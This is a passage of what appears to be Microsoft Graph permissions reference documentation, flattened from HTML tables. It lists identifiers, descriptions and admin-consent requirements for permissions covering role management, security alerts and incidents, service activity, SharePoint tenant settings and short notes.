    DisplayTextRead and write Records Management configuration, labels and policiesRead and write Records Management configuration, labels, and policies
    DescriptionAllow the application to create, update and delete any data from Records Management, such as configuration, labels, and policies without the signed in user.Allow the application to create, update and delete any data from Records Management, such as configuration, labels, and policies on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Reports.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier230c1aed-a721-4c5d-9cb4-a90514e508ef02e97553-ed7b-43d0-ab3c-f8bace0d040c
    DisplayTextRead all usage reportsRead all usage reports
    DescriptionAllows an app to read all service usage reports without a signed-in user. Services that provide usage reports include Office 365 and Azure Active Directory.Allows an app to read all service usage reports on behalf of the signed-in user. Services that provide usage reports include Office 365 and Azure Active Directory.
    AdminConsentRequiredYesYes
    -
    -

    ReportSettings.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifieree353f83-55ef-4b78-82da-555bfa2b4b9584fac5f4-33a9-4100-aa38-a20c6d29e5e7
    DisplayTextRead all admin report settingsRead admin report settings
    DescriptionAllows the app to read all admin report settings, such as whether to display concealed information in reports, without a signed-in user.Allows the app to read admin report settings, such as whether to display concealed information in reports, on behalf of the signed-in user
    AdminConsentRequiredYesYes
    -
    -

    ReportSettings.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier2a60023f-3219-47ad-baa4-40e17cd02a1db955410e-7715-4a88-a940-dfd551018df3
    DisplayTextRead and write all admin report settingsRead and write admin report settings
    DescriptionAllows the app to read and update all admin report settings, such as whether to display concealed information in reports, without a signed-in user.Allows the app to read and update admin report settings, such as whether to display concealed information in reports, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    ResourceSpecificPermissionGrant.ReadForUser

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-f1d91a8f-88e7-4774-8401-b668d5bca0c5
    DisplayText-Read resource specific permissions granted on a user account
    Description-Allows the app to read the resource specific permissions granted on a user account, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    ResourceSpecificPermissionGrant.ReadForUser.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifieracfca4d5-f49f-40ed-9648-84068b474c73-
    DisplayTextRead all resource specific permissions granted on user accounts-
    DescriptionAllows the app to read all resource specific permissions granted on user accounts, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    RoleAssignmentSchedule.Read.Directory

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierd5fe8ce8-684c-4c83-a52c-46e882ce4be1344a729c-0285-42c6-9014-f12b9b8d6129
    DisplayTextRead all active role assignments and role schedules for your company's directoryRead all active role assignments for your company's directory
    DescriptionAllows the app to read the active role-based access control (RBAC) assignments and schedules for your company's directory, without a signed-in user. This includes reading directory role templates, and directory roles.Allows the app to read the active role-based access control (RBAC) assignments for your company's directory, on behalf of the signed-in user. This includes reading directory role templates, and directory roles.
    AdminConsentRequiredYesYes
    -
    -

    RoleAssignmentSchedule.ReadWrite.Directory

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierdd199f4a-f148-40a4-a2ec-f0069cc799ec8c026be3-8e26-4774-9372-8d5d6f21daff
    DisplayTextRead, update, and delete all policies for privileged role assignments of your company's directoryRead, update, and delete all active role assignments for your company's directory
    DescriptionAllows the app to read, update, and delete policies for privileged role-based access control (RBAC) assignments of your company's directory, without a signed-in user.Allows the app to read and manage the active role-based access control (RBAC) assignments for your company's directory, on behalf of the signed-in user. This includes managing active directory role membership, and reading directory role templates, directory roles and active memberships.
    AdminConsentRequiredYesYes
    -
    -

    RoleEligibilitySchedule.Read.Directory

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierff278e11-4a33-4d0c-83d2-d01dc58929a5eb0788c2-6d4e-4658-8c9e-c0fb8053f03d
    DisplayTextRead all eligible role assignments and role schedules for your company's directoryRead all eligible role assignments for your company's directory
    DescriptionAllows the app to read the eligible role-based access control (RBAC) assignments and schedules for your company's directory, without a signed-in user. This includes reading directory role templates, and directory roles.Allows the app to read the eligible role-based access control (RBAC) assignments for your company's directory, on behalf of the signed-in user. This includes reading directory role templates, and directory roles.
    AdminConsentRequiredYesYes
    -
    -

    RoleEligibilitySchedule.ReadWrite.Directory

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierfee28b28-e1f3-4841-818e-2704dc62245f62ade113-f8e0-4bf9-a6ba-5acb31db32fd
    DisplayTextRead, update, and delete all eligible role assignments and schedules for your company's directoryRead, update, and delete all eligible role assignments for your company's directory
    DescriptionAllows the app to read and manage the eligible role-based access control (RBAC) assignments and schedules for your company's directory, without a signed-in user. This includes managing eligible directory role membership, and reading directory role templates, directory roles and eligible memberships.Allows the app to read and manage the eligible role-based access control (RBAC) assignments for your company's directory, on behalf of the signed-in user. This includes managing eligible directory role membership, and reading directory role templates, directory roles and eligible memberships.
    AdminConsentRequiredYesYes
    -
    -

    RoleManagement.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierc7fbd983-d9aa-4fa7-84b8-17382c103bc448fec646-b2ba-4019-8681-8eb31435aded
    DisplayTextRead role management data for all RBAC providersRead role management data for all RBAC providers
    DescriptionAllows the app to read role-based access control (RBAC) settings for all RBAC providers without a signed-in user. This includes reading role definitions and role assignments.Allows the app to read the role-based access control (RBAC) settings for all RBAC providers, on behalf of the signed-in user. This includes reading role definitions and role assignments.
    AdminConsentRequiredYesYes
    -
    -

    RoleManagement.Read.CloudPC

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier031a549a-bb80-49b6-8032-2068448c6a3c9619b88a-8a25-48a7-9571-d23be0337a79
    DisplayTextRead Cloud PC RBAC settingsRead Cloud PC RBAC settings
    DescriptionAllows the app to read the Cloud PC role-based access control (RBAC) settings, without a signed-in user.Allows the app to read the Cloud PC role-based access control (RBAC) settings, on behalf of the signed-in user.  This includes reading Cloud PC role definitions and role assignments.
    AdminConsentRequiredYesYes
    -
    -

    RoleManagement.Read.Directory

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier483bed4a-2ad3-4361-a73b-c83ccdbdc53c741c54c3-0c1e-44a1-818b-3f97ab4e8c83
    DisplayTextRead all directory RBAC settingsRead directory RBAC settings
    DescriptionAllows the app to read the role-based access control (RBAC) settings for your company's directory, without a signed-in user. This includes reading directory role templates, directory roles and memberships.Allows the app to read the role-based access control (RBAC) settings for your company's directory, on behalf of the signed-in user. This includes reading directory role templates, directory roles and memberships.
    AdminConsentRequiredYesYes
    -
    -

    RoleManagement.Read.Exchange

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierc769435f-f061-4d0b-8ff1-3d39870e5f853bc15058-7858-4141-b24f-ae43b4e80b52
    DisplayTextRead Exchange Online RBAC configurationRead Exchange Online RBAC configuration
    DescriptionAllows the app to read the role-based access control (RBAC) configuration for your organization's Exchange Online service, without a signed-in user. This includes reading Exchange management role definitions, role groups, role group membership, role assignments, management scopes, and role assignment policies.Allows the app to read the role-based access control (RBAC) settings for your organization's Exchange Online service, on behalf of the signed-in user. This includes reading Exchange management role definitions, role groups, role group membership, role assignments, management scopes, and role assignment policies.
    AdminConsentRequiredYesYes
    -
    -

    RoleManagement.ReadWrite.CloudPC

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier274d0592-d1b6-44bd-af1d-26d259bcb43a501d06f8-07b8-4f18-b5c6-c191a4af7a82
    DisplayTextRead and write all Cloud PC RBAC settingsRead and write Cloud PC RBAC settings
    DescriptionAllows the app to read and manage the Cloud PC role-based access control (RBAC) settings, without a signed-in user. This includes reading and managing Cloud PC role definitions and memberships.Allows the app to read and manage the Cloud PC role-based access control (RBAC) settings, on behalf of the signed-in user. This includes reading and managing Cloud PC role definitions and role assignments.
    AdminConsentRequiredYesYes
    -
    -

    RoleManagement.ReadWrite.Directory

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8d01b97e9-cbc0-49fe-810a-750afd5527a3
    DisplayTextRead and write all directory RBAC settingsRead and write directory RBAC settings
    DescriptionAllows the app to read and manage the role-based access control (RBAC) settings for your company's directory, without a signed-in user. This includes instantiating directory roles and managing directory role membership, and reading directory role templates, directory roles and memberships.Allows the app to read and manage the role-based access control (RBAC) settings for your company's directory, on behalf of the signed-in user. This includes instantiating directory roles and managing directory role membership, and reading directory role templates, directory roles and memberships.
    AdminConsentRequiredYesYes
    - -

    Permissions that allow granting authorization, such as RoleManagement.ReadWrite.Directory, allow an application to grant additional privileges to itself, other applications, or any user. Use caution when granting any of these permissions.

    -

    With the RoleManagement.ReadWrite.Directory permission an application can read and write /directoryRoles and /roleManagement/directory/*. This includes adding and removing members to and from Microsoft Entra roles, and working with PIM for Microsoft Entra roles APIs.

    -
    -

    RoleManagement.ReadWrite.Exchange

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier025d3225-3f02-4882-b4c0-cd5b541a4e80c1499fe0-52b1-4b22-bed2-7a244e0e879f
    DisplayTextRead and write Exchange Online RBAC configurationRead and write Exchange Online RBAC configuration
    DescriptionAllows the app to read and manage the role-based access control (RBAC) settings for your organization's Exchange Online service, without a signed-in user. This includes reading, creating, updating, and deleting Exchange management role definitions, role groups, role group membership, role assignments, management scopes, and role assignment policies.Allows the app to read and manage the role-based access control (RBAC) settings for your organization's Exchange Online service, on behalf of the signed-in user. This includes reading, creating, updating, and deleting Exchange management role definitions, role groups, role group membership, role assignments, management scopes, and role assignment policies.
    AdminConsentRequiredYesYes
    -
    -

    RoleManagementAlert.Read.Directory

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifieref31918f-2d50-4755-8943-b8638c0a077ecce71173-f76d-446e-97ff-efb2d82e11b1
    DisplayTextRead all alert data for your company's directoryRead all alert data for your company's directory
    DescriptionAllows the app to read all role-based access control (RBAC) alerts for your company's directory, without a signed-in user. This includes reading alert statuses, alert definitions, alert configurations and incidents that lead to an alert.Allows the app to read the role-based access control (RBAC) alerts for your company's directory, on behalf of the signed-in user. This includes reading alert statuses, alert definitions, alert configurations and incidents that lead to an alert.
    AdminConsentRequiredYesYes
    -
    -

    RoleManagementAlert.ReadWrite.Directory

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier11059518-d6a6-4851-98ed-509268489c4a435644c6-a5b1-40bf-8f52-fe8e5b53e19c
    DisplayTextRead all alert data, configure alerts, and take actions on all alerts for your company's directoryRead all alert data, configure alerts, and take actions on all alerts for your company's directory
    DescriptionAllows the app to read and manage all role-based access control (RBAC) alerts for your company's directory, without a signed-in user. This includes managing alert settings, initiating alert scans, dismissing alerts, remediating alert incidents, and reading alert statuses, alert definitions, alert configurations and incidents that lead to an alert.Allows the app to read and manage the role-based access control (RBAC) alerts for your company's directory, on behalf of the signed-in user. This includes managing alert settings, initiating alert scans, dismissing alerts, remediating alert incidents, and reading alert statuses, alert definitions, alert configurations and incidents that lead to an alert.
    AdminConsentRequiredYesYes
    -
    -

    RoleManagementPolicy.Read.AzureADGroup

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier69e67828-780e-47fd-b28c-7b27d14864e67e26fdff-9cb1-4e56-bede-211fe0e420e8
    DisplayTextRead all policies in PIM for GroupsRead all policies in PIM for Groups
    DescriptionAllows the app to read policies in Privileged Identity Management for Groups, without a signed-in user.Allows the app to read policies in Privileged Identity Management for Groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    RoleManagementPolicy.Read.Directory

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierfdc4c997-9942-4479-bfcb-75a36d1138df3de2cdbe-0ff5-47d5-bdee-7f45b4749ead
    DisplayTextRead all policies for privileged role assignments of your company's directoryRead all policies for privileged role assignments of your company's directory
    DescriptionAllows the app to read policies for privileged role-based access control (RBAC) assignments of your company's directory, without a signed-in user.Allows the app to read policies for privileged role-based access control (RBAC) assignments of your company's directory, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    RoleManagementPolicy.ReadWrite.AzureADGroup

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierb38dcc4d-a239-4ed6-aa84-6c65b284f97c0da165c7-3f15-4236-b733-c0b0f6abe41d
    DisplayTextRead, update, and delete all policies in PIM for GroupsRead, update, and delete all policies in PIM for Groups
    DescriptionAllows the app to read, update, and delete policies in Privileged Identity Management for Groups, without a signed-in user.Allows the app to read, update, and delete policies in Privileged Identity Management for Groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    RoleManagementPolicy.ReadWrite.Directory

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier31e08e0a-d3f7-4ca2-ac39-7343fb83e8ad1ff1be21-34eb-448c-9ac9-ce1f506b2a68
    DisplayTextRead, update, and delete all policies for privileged role assignments of your company's directoryRead, update, and delete all policies for privileged role assignments of your company's directory
    DescriptionAllows the app to read, update, and delete policies for privileged role-based access control (RBAC) assignments of your company's directory, without a signed-in user.Allows the app to read, update, and delete policies for privileged role-based access control (RBAC) assignments of your company's directory, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Schedule.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier7b2ebf90-d836-437f-b90d-7b62722c4456fccf6dd8-5706-49fa-811f-69e2e1b585d0
    DisplayTextRead all schedule itemsRead user schedule items
    DescriptionAllows the app to read all schedules, schedule groups, shifts and associated entities in the Teams or Shifts application without a signed-in user.Allows the app to read schedule, schedule groups, shifts and associated entities in the Teams or Shifts application on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Schedule.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierb7760610-0545-4e8a-9ec3-cce9e63db01c63f27281-c9d9-4f29-94dd-6942f7f1feb0
    DisplayTextRead and write all schedule itemsRead and write user schedule items
    DescriptionAllows the app to manage all schedules, schedule groups, shifts and associated entities in the Teams or Shifts application without a signed-in user.Allows the app to manage schedule, schedule groups, shifts and associated entities in the Teams or Shifts application on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    SchedulePermissions.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier7239b71d-b402-4150-b13d-78ecfe8df44107919803-6073-4cd8-bc55-28077db0ee10
    DisplayTextRead/Write schedule permissions for a roleRead/Write schedule permissions for a role.
    DescriptionAllows the app to read/write schedule permissions for a specific role in Shifts application without a signed-in user.Allows the app to read/write schedule permissions for a specific role in Shifts application on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Schedule-WorkingTime.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier0b21c159-dbf4-4dbb-a6f6-490e412c716e-
    DisplayTextTrigger working time policies and read the working time status-
    DescriptionAllows the app to trigger the working time policies and read the working time status for other users in your organization, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    SearchConfiguration.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierada977a5-b8b1-493b-9a91-66c206d76ecf7d307522-aa38-4cd0-bd60-90c6f0ac50bd
    DisplayTextRead your organization's search configurationRead your organization's search configuration
    DescriptionAllows the app to read search configurations, without a signed-in user.Allows the app to read search configuration, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    SearchConfiguration.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier0e778b85-fefa-466d-9eec-750569d92122b1a7d408-cab0-47d2-a2a5-a74a3733600d
    DisplayTextRead and write your organization's search configurationRead and write your organization's search configuration
    DescriptionAllows the app to read and write search configurations, without a signed-in user.Allows the app to read and write search configuration, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    SecurityActions.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier5e0edab9-c148-49d0-b423-ac253e1218251638cddf-07a4-4de2-8645-69c96cacad73
    DisplayTextRead your organization's security actionsRead your organization's security actions
    DescriptionAllows the app to read security actions, without a signed-in user.Allows the app to read security actions, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    SecurityActions.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierf2bf083f-0179-402a-bedb-b2784de8a49bdc38509c-b87d-4da0-bd92-6bec988bac4a
    DisplayTextRead and update your organization's security actionsRead and update your organization's security actions
    DescriptionAllows the app to read or update security actions, without a signed-in user.Allows the app to read or update security actions, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    SecurityAlert.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier472e4a4d-bb4a-4026-98d1-0b0d74cb74a5bc257fb8-46b4-4b15-8713-01e91bfbe4ea
    DisplayTextRead all security alertsRead all security alerts
    DescriptionAllows the app to read all security alerts, without a signed-in user.Allows the app to read all security alerts, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    SecurityAlert.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiered4fca05-be46-441f-9803-1873825f8fdb471f2a7f-2a42-4d45-a2bf-594d0838070d
    DisplayTextRead and write to all security alertsRead and write to all security alerts
    DescriptionAllows the app to read and write to all security alerts, without a signed-in user.Allows the app to read and write to all security alerts, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    SecurityAnalyzedMessage.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierb48f7ac2-044d-4281-b02f-75db744d6f5f53e6783e-b127-4a35-ab3a-6a52d80a9077
    DisplayTextRead metadata and detection details for all emails in your organizationRead metadata and detection details for emails in your organization
    DescriptionRead email metadata and security detection details, without a signed-in user.Read email metadata and security detection details on behalf of the signed in user.
    AdminConsentRequiredYesYes
    -
    -

    SecurityAnalyzedMessage.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier04c55753-2244-4c25-87fc-704ab82a4f6948eb8c83-6e58-46e7-a6d3-8805822f5940
    DisplayTextRead metadata, detection details, and execute remediation actions on all emails in your organizationRead metadata, detection details, and execute remediation actions on emails in your organization
    DescriptionRead email metadata and security detection details, and execute remediation actions like deleting an email, without a signed-in user.Read email metadata, security detection details, and execute remediation actions like deleting an email, on behalf of the signed in user.
    AdminConsentRequiredYesYes
    -
    -

    SecurityEvents.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierbf394140-e372-4bf9-a898-299cfc7564e564733abd-851e-478a-bffb-e47a14b18235
    DisplayTextRead your organization's security eventsRead your organization's security events
    DescriptionAllows the app to read your organization's security events without a signed-in user.Allows the app to read your organization's security events on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    SecurityEvents.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierd903a879-88e0-4c09-b0c9-82f6a1333f846aedf524-7e1c-45a7-bd76-ded8cab8d0fc
    DisplayTextRead and update your organization's security eventsRead and update your organization's security events
    DescriptionAllows the app to read your organization's security events without a signed-in user. Also allows the app to update editable properties in security events.Allows the app to read your organization's security events on behalf of the signed-in user. Also allows the app to update editable properties in security events on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    SecurityIdentitiesHealth.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierf8dcd971-5d83-4e1e-aa95-ef44611ad351a0d0da43-a6df-4416-b63d-99c79991aae8
    DisplayTextRead all identity security health issuesRead identity security health issues
    DescriptionAllows the app to read all the identity security health issues without a signed-in user.Allows the app to read all the identity security health issues of signed user
    AdminConsentRequiredYesYes
    -
    -

    SecurityIdentitiesHealth.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierab03ddd5-7ae4-4f2e-8af8-86654f7e0a2753e51eec-2d9b-4990-97f3-c9aa5d5652c3
    DisplayTextRead and write all identity security health issuesRead and write identity security health issues
    DescriptionAllows the app to read and write identity security health issues without a signed-in user.Allows the app to read and write identity security health issues on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    SecurityIdentitiesSensors.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier5f0ffea2-f474-4cf2-9834-61cda2bcea5c2c221239-7c5c-4b30-9355-d84663bfcd96
    DisplayTextRead all identity security sensorsRead identity security sensors
    DescriptionAllows the app to read all the identity security sensors without a signed-in user.Allows the app to read all the identity security sensors of signed user
    AdminConsentRequiredYesYes
    -
    -

    SecurityIdentitiesSensors.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierd4dcee6d-0774-412a-b06c-aeabbd99e816087c3ad9-c2ca-4b82-9885-d5e25ce9e183
    DisplayTextRead and write all identity security sensorsRead and write identity security sensors
    DescriptionAllows the app to read and write identity security sensors without a signed-in user.Allows the app to read and write identity security sensors on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    SecurityIncident.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier45cc0394-e837-488b-a098-1918f48d186cb9abcc4f-94fc-4457-9141-d20ce80ec952
    DisplayTextRead all security incidentsRead incidents
    DescriptionAllows the app to read all security incidents, without a signed-in user.Allows the app to read security incidents, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    SecurityIncident.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier34bf0e97-1971-4929-b999-9e2442d941d7128ca929-1a19-45e6-a3b8-435ec44a36ba
    DisplayTextRead and write to all security incidentsRead and write to incidents
    DescriptionAllows the app to read and write to all security incidents, without a signed-in user.Allows the app to read and write security incidents, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    ServiceActivity-Exchange.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier2b655018-450a-4845-81e7-d603b1ebffdb1fe7aa48-9373-4a47-8df3-168335e0f4c9
    DisplayTextRead all Exchange service activityRead all Exchange service activity
    DescriptionAllows the app to read all Exchange service activity, without a signed-in user.Allows the app to read all Exchange service activity, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    ServiceActivity-Microsoft365Web.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierc766cb16-acc4-4663-ba09-6eedef5876c5d74c75b1-d5a9-479d-902d-92f8f99182c1
    DisplayTextRead all Microsoft 365 Web service activityRead all Microsoft 365 Web service activity
    DescriptionAllows the app to read all Microsoft 365 Web service activity, without a signed-in user.Allows the app to read all Microsoft 365 Web service activity, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    ServiceActivity-OneDrive.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier57b4f899-b8c5-47c7-bdd3-c410c55602b7347e3c16-30f3-4ac7-9b52-fc3c053de9c9
    DisplayTextRead all One Drive service activityRead all One Drive service activity
    DescriptionAllows the app to read all One Drive service activity, without a signed-in user.Allows the app to read all One Drive service activity, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    ServiceActivity-Teams.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier4dfee10b-fa4a-41b5-b34d-ccf54cc0c394404d76f0-e10e-460a-92be-ef19600c54d1
    DisplayTextRead all Teams service activityRead all Teams service activity
    DescriptionAllows the app to read all Teams service activity, without a signed-in user.Allows the app to read all Teams service activity, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    ServiceHealth.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier79c261e0-fe76-4144-aad5-bdc68fbe403755896846-df78-47a7-aa94-8d3d4442ca7f
    DisplayTextRead service healthRead service health
    DescriptionAllows the app to read your tenant's service health information, without a signed-in user. Health information may include service issues or service health overviews.Allows the app to read your tenant's service health information on behalf of the signed-in user. Health information may include service issues or service health overviews.
    AdminConsentRequiredYesYes
    -

    personal Microsoft accounts The ServiceHealth.Read.All delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    ServiceMessage.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier1b620472-6534-4fe6-9df2-4680e8aa28eceda39fa6-f8cf-4c3c-a909-432c683e4c9b
    DisplayTextRead service messagesRead service announcement messages
    DescriptionAllows the app to read your tenant's service announcement messages, without a signed-in user. Messages may include information about new or changed features.Allows the app to read your tenant's service announcement messages on behalf of the signed-in user. Messages may include information about new or changed features.
    AdminConsentRequiredYesYes
    -

    personal Microsoft accounts The ServiceMessage.Read.All delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    ServiceMessageViewpoint.Write

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-636e1b0b-1cc2-4b1c-9aa9-4eeed9b9761b
    DisplayText-Update user status on service announcement messages
    Description-Allows the app to update service announcement messages' user status on behalf of the signed-in user. The message status can be marked as read, archive, or favorite.
    AdminConsentRequired-Yes
    -

    personal Microsoft accounts The ServiceMessageViewpoint.Write delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    ServicePrincipalEndpoint.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier5256681e-b7f6-40c0-8447-2d9db68797a09f9ce928-e038-4e3b-8faf-7b59049a8ddc
    DisplayTextRead service principal endpointsRead service principal endpoints
    DescriptionAllows the app to read service principal endpointsAllows the app to read service principal endpoints
    AdminConsentRequiredYesYes
    -
    -

    ServicePrincipalEndpoint.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier89c8469c-83ad-45f7-8ff2-6e3d4285709e7297d82c-9546-4aed-91df-3d4f0a9b3ff0
    DisplayTextRead and update service principal endpointsRead and update service principal endpoints
    DescriptionAllows the app to update service principal endpointsAllows the app to update service principal endpoints
    AdminConsentRequiredYesYes
    -
    -

    SharePointTenantSettings.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier83d4163d-a2d8-4d3b-9695-4ae3ca98f8882ef70e10-5bfd-4ede-a5f6-67720500b258
    DisplayTextRead SharePoint and OneDrive tenant settingsRead SharePoint and OneDrive tenant settings
    DescriptionAllows the application to read the tenant-level settings of SharePoint and OneDrive, without a signed-in user.Allows the application to read the tenant-level settings in SharePoint and OneDrive on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    SharePointTenantSettings.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier19b94e34-907c-4f43-bde9-38b1909ed408aa07f155-3612-49b8-a147-6c590df35536
    DisplayTextRead and change SharePoint and OneDrive tenant settingsRead and change SharePoint and OneDrive tenant settings
    DescriptionAllows the application to read and change the tenant-level settings of SharePoint and OneDrive, without a signed-in user.Allows the application to read and change the tenant-level settings of SharePoint and OneDrive on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    ShortNotes.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-50f66e47-eb56-45b7-aaa2-75057d9afe08
    DisplayText-Read short notes of the signed-in user
    Description-Allows the app to read all the short notes a sign-in user has access to.
    AdminConsentRequired-No
    -

    personal Microsoft accounts The ShortNotes.Read delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    ShortNotes.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier0c7d31ec-31ca-4f58-b6ec-9950b6b0de69-
    DisplayTextRead all users' short notes-
    DescriptionAllows the app to read all the short notes without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    ShortNotes.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-328438b7-4c01-4c07-a840-e625a749bb89
